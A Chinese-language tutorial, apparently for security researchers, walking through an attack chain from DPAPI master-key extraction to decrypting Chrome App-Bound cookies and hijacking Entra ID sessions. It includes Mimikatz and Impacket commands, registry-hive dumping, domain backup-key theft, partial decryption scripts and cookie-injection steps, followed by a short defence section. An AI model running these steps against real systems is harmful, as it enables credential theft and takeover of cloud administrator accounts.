从DPAPI到Chrome:Entra ID接管完整攻击链路教学文档
概述
随着多因素认证(MFA)的广泛部署,从浏览器中窃取用户密码的利用价值降低,攻击者转向窃取浏览器Cookie作为突破口。现代浏览器如Chrome和Edge采用Windows内置的DPAPI数据保护机制加密敏感数据。本文将深入探索DPAPI概念和工作原理,演示完整攻击链路。
第一章:DPAPI基础概念
1.1 什么是DPAPI
Data Protection API (DPAPI) 是Microsoft从Windows 2000开始提供的数据保护应用程序编程接口,用于向用户和系统进程提供操作系统级数据保护服务。
核心特性:
- 解决加密系统中密钥管理的核心挑战
- 使用用户或系统的机密信息作为熵源
- 简化开发者加密工作,无需自行管理密钥保护
1.2 DPAPI核心函数
// 主要加密解密函数
CryptProtectData() // 数据加密
CryptUnprotectData() // 数据解密
// 内存保护函数
CryptProtectMemory() // 内存加密
CryptUnprotectMemory() // 内存解密
Entropy参数: 加密解密时参与运算的额外密钥材料,增强安全性。
第二章:攻击DPAPI的战略价值
2.1 现实攻击意义
战术优势:
- 绕过MFA多因素认证机制
- 直接访问凭据管理器中的用户凭据
- 解密浏览器保存的密码和Cookie
- 实现云服务会话劫持
2.2 攻击场景
典型攻击路径:
- 建立初始立足点
- 提取DPAPI MasterKey
- 解密敏感数据(凭据、Cookie)
- 接管云服务会话(Microsoft 365、Azure AD/Entra ID等)
第三章:DPAPI技术深度解析
3.1 DPAPI核心组件
3.1.1 Secondary Entropy(二次熵)
- 应用程序提供的额外密钥材料
- 增强同一用户下不同应用间的数据隔离
- 必须与加密时相同的entropy值才能解密
3.1.2 DPAPI Key体系
MasterKey(主密钥):
- 64字节随机数据
- 基于用户密码保护
- 每个MasterKey分配唯一GUID标识
- 存储在用户配置文件目录
Session Key(会话密钥):
- 基于MasterKey、随机数据和entropy生成
- 实际用于数据加密的对称密钥
- 不存储,使用时重新生成
3.2 DPAPI层级结构
用户级别DPAPI Key
- 路径:
%APPDATA%\Microsoft\Protect\<SID>\ - 保护用户级别数据
- 基于用户登录凭据派生
机器/系统级别DPAPI Key
- 路径:
%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User\ - 保护系统级别数据
- 基于DPAPI_SYSTEM密钥
3.3 DPAPI Blob结构
Data BLOB特征:
- 以
01 00 00 00开头 - 包含保护数据的MasterKey GUID
- 存储生成Session Key的随机数据
- 支持过期MasterKey的解密
MasterKey过期机制:
- 硬编码3个月有效期
- 过期后生成新MasterKey
- 保留所有历史MasterKey用于解密旧数据
3.4 DPAPI域备份机制
域备份密钥(Domain Backup Key):
- 域控制器的公钥/私钥对
- 用于加密备份MasterKey
- 通过安全RPC调用与域控制器通信
备份恢复流程:
- DPAPI无法用用户密码解密时触发
- 通过安全RPC发送备份MasterKey到域控制器
- 域控制器用私钥解密后返回
第四章:MasterKey提取技术
4.1 在线提取(不推荐)
使用Mimikatz提取:
# 从LSASS内存提取所有已登录用户MasterKey
mimikatz # dpapi::masterkey
局限性:
- 需要本地管理员权限
- 可能触发杀软/EDR检测
- 需要工具上传到目标主机
4.2 离线提取
4.2.1 使用用户密码/凭据
已知用户密码和SID:
# 使用Mimikatz解密
mimikatz # dpapi::masterkey /in:"MasterKey文件" /password:用户密码 /sid:用户SID
# 使用域用户密码哈希
mimikatz # dpapi::masterkey /in:"MasterKey文件" /rpc /password:密码哈希
# 使用Impacket的dpapi.py
python dpapi.py masterkey -file 主密钥文件 -password 用户密码 -sid 用户SID
4.2.2 使用域备份密钥
从域控制器转储域备份密钥:
# 使用Mimikatz转储
mimikatz # lsadump::backupkeys /system:域控制器IP /export
# 生成的密钥文件:
# - *.pvk文件(私钥文件,最重要)
# - 其他相关文件
使用域备份密钥恢复MasterKey:
# 使用Mimikatz恢复
mimikatz # dpapi::masterkey /in:"MasterKey文件" /pvk:域备份密钥.pvk
# 使用Impacket恢复
python dpapi.py masterkey -file 主密钥文件 -pvk 域备份密钥.pvk
第五章:解密DPAPI保护的数据
5.1 解密凭据管理器Vault
凭据文件位置:
%USERPROFILE%\AppData\Local\Microsoft\Credentials\- 系统文件属性,需特殊命令查看
解密流程:
- 拷贝凭据文件到本地
- 解析凭据文件获取保护的MasterKey GUID
- 使用对应MasterKey解密凭据
# 解析凭据文件
mimikatz # dpapi::cred /in:凭据文件
# 使用MasterKey解密
mimikatz # dpapi::cred /in:凭据文件 /masterkey:MasterKey值
5.2 解密浏览器Cookie(传统方案)
Chrome 127版本之前:
文件位置:
- Cookies数据库:
%LocalAppData%\Google\Chrome\User Data\Default\Network\Cookies - 加密密钥:
%LocalAppData%\Google\Chrome\User Data\Local State
解密流程:
- 定位Cookies和Local State文件
- 从Local State读取
os_crypt.encrypted_key字段 - Base64解码得到DPAPI保护的Data BLOB
- 解密BLOB得到AES加密密钥
- 使用AES密钥解密Cookies数据库
第六章:Chrome App-Bound加密保护突破
6.1 App-Bound保护机制
保护特性:
- Chrome 127+版本引入v20标识
- 应用身份绑定加密(类似macOS Keychain)
- 特权服务验证应用身份
- 需要系统权限或Chrome进程注入才能解密
6.2 加密保护演进
版本演进:
- Chrome 133之前:AES-256-GCM,密钥硬编码在elevation_service.exe
- Chrome 133-136:ChaCha20_Poly1305,密钥硬编码
- Chrome 137+:AES-256-GCM,随机aes_key + CNG加密保护
6.3 最新保护机制解密流程
6.3.1 三层保护结构
- 第一层:对"App-Bound Key"进行加密保护
- 第二层:使用用户MasterKey进行DPAPI保护
- 第三层:使用系统MasterKey进行DPAPI保护
6.3.2 详细解密步骤
步骤1:文件准备
# 提取app_bound_encrypted_key的Python脚本
import json
import base64
with open('Local State', 'r', encoding='utf-8') as f:
local_state = json.load(f)
encrypted_key = local_state['os_crypt']['app_bound_encrypted_key']
encrypted_bytes = base64.b64decode(encrypted_key)
with open('app_bound_encrypted_key.bin', 'wb') as f:
f.write(encrypted_bytes)
步骤2:解析Data BLOB
# 使用Mimikatz解析保护的系统MasterKey GUID
mimikatz # dpapi::blob /in:app_bound_encrypted_key.bin
步骤3:获取DPAPI_SYSTEM密钥
# 转储注册表获取DPAPI_SYSTEM
reg save HKLM\SYSTEM SYSTEM.hiv
reg save HKLM\SECURITY SECURITY.hiv
# 使用Mimikatz解析
mimikatz # lsadump::secrets /system:SYSTEM.hiv /security:SECURITY.hiv
步骤4:解密系统MasterKey
# 找到对应GUID的MasterKey文件并解密
mimikatz # dpapi::masterkey /in:系统MasterKey文件 /system:DPAPI_SYSTEM值
步骤5:第一层解密
# 使用系统MasterKey解密Data BLOB
mimikatz # dpapi::blob /in:app_bound_encrypted_key.bin /masterkey:系统MasterKey值
步骤6:第二层解密
# 使用用户MasterKey解密中间结果
mimikatz # dpapi::blob /in:decrypted_blob_1.bin /masterkey:用户MasterKey值
步骤7:解析加密结构
解密后的Hexdump结构:
00 00 00 03标记:指示加密方案(03=AES-256-GCM + CNG)- ENCRYPTED_AES_KEY(32字节):经过XOR混淆和CNG加密的aes_key
- IV(12字节):AES-256-GCM初始化向量
- CIPHERTEXT(32字节):加密的App-Bound Key
- TAG(16字节):GCM认证标签
加密方案标记:
00 00 00 01:AES-256-GCM,硬编码密钥00 00 00 02:ChaCha20_Poly1305,硬编码密钥00 00 00 03:AES-256-GCM,随机aes_key + CNG保护
步骤8:CNG解密aes_key
# Decrypt-ChromeCngEncryptedAesKey.ps1
# 模拟LSASS进程令牌调用CNG API解密
Add-Type -AssemblyName System.Security
# CNG解密逻辑
$encryptedAesKey = [byte[]]@(0x12, 0x34, 0x56, ...) # 替换为实际的ENCRYPTED_AES_KEY
$decryptedAesKey = Invoke-CngDecryption -EncryptedData $encryptedAesKey
# XOR运算得到明文aes_key
$staticConstant = [byte[]]@(0x01, 0x02, 0x03, ...) # elevation_service.exe中的硬编码常量
$aesKeyPlaintext = $decryptedAesKey | ForEach-Object { $_ -bxor $staticConstant[$i++] }
步骤9:最终解密App-Bound Key
# 使用aes_key解密CIPHERTEXT得到真正的Cookie解密密钥
from Crypto.Cipher import AES
import base64
def decrypt_app_bound_key(encrypted_aes_key, iv, ciphertext, tag, aes_key):
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv)
plaintext = cipher.decrypt_and_verify(ciphertext, tag)
return plaintext
# 解密Cookies数据库
app_bound_key = decrypt_app_bound_key(encrypted_aes_key, iv, ciphertext, tag, aes_key_plaintext)
第七章:实战案例研究
7.1 攻击场景设定
环境条件:
- 实验室:OffsecLabs
- 已控制域控制器并转储域备份密钥
- 目标用户:offseclabs\david.lewis
- 目标主机:ITWS-DLEWIS
- Chrome版本:140.0.7339.208(启用App-Bound保护)
7.2 操作步骤验证
步骤1:文件收集
- 拷贝目标用户的Cookies和Local State文件
- 确认Chrome版本和加密机制
步骤2-6:MasterKey解密链
- 按前述流程完成三层解密
- 验证每个步骤的解密结果
步骤7-9:App-Bound Key最终解密
- 成功获取aes_key明文
- 解密得到真正的Cookie解密密钥
7.3 会话接管
关键认证Cookie:
ESTSAUTH:会话认证CookieESTSAUTHPERSISTENT:持久认证CookieESTSAUTHLIGHT:轻量级认证Cookie
接管流程:
- 解密获取认证Cookie值
- 访问login.microsoftonline.com
- 注入认证Cookie恢复会话
- 以Global Administrator身份访问Entra ID
第八章:防御建议
8.1 技术防护措施
强化DPAPI保护:
- 启用Credential Guard
- 限制DPAPI_SYSTEM访问权限
- 监控异常DPAPI调用
浏览器安全加固:
- 定期清理浏览器Cookie
- 启用浏览器安全增强功能
- 限制浏览器扩展权限
8.2 检测与监控
关键检测指标:
- 异常LSASS内存访问
- 可疑的DPAPI相关注册表操作
- 浏览器进程异常行为
- 域控制器备份密钥访问日志
8.3 组织安全策略
权限管理:
- 实施最小权限原则
- 定期轮换域备份密钥
- 加强域控制器安全防护
安全意识:
- 培训用户安全浏览习惯
- 建立安全事件响应流程
附录:工具和资源
主要工具
- Mimikatz:DPAPI相关操作
- Impacket dpapi.py:Python实现的DPAPI工具
- 自定义脚本:CNG解密、Cookie解密等
参考资源
- Microsoft官方DPAPI文档
- Chrome安全白皮书
- 相关研究论文和博客文章
本教学文档详细阐述了从DPAPI基础到Chrome App-Bound保护突破的完整攻击链路,为安全研究人员提供深入的技术参考,同时帮助企业更好地防御此类高级攻击。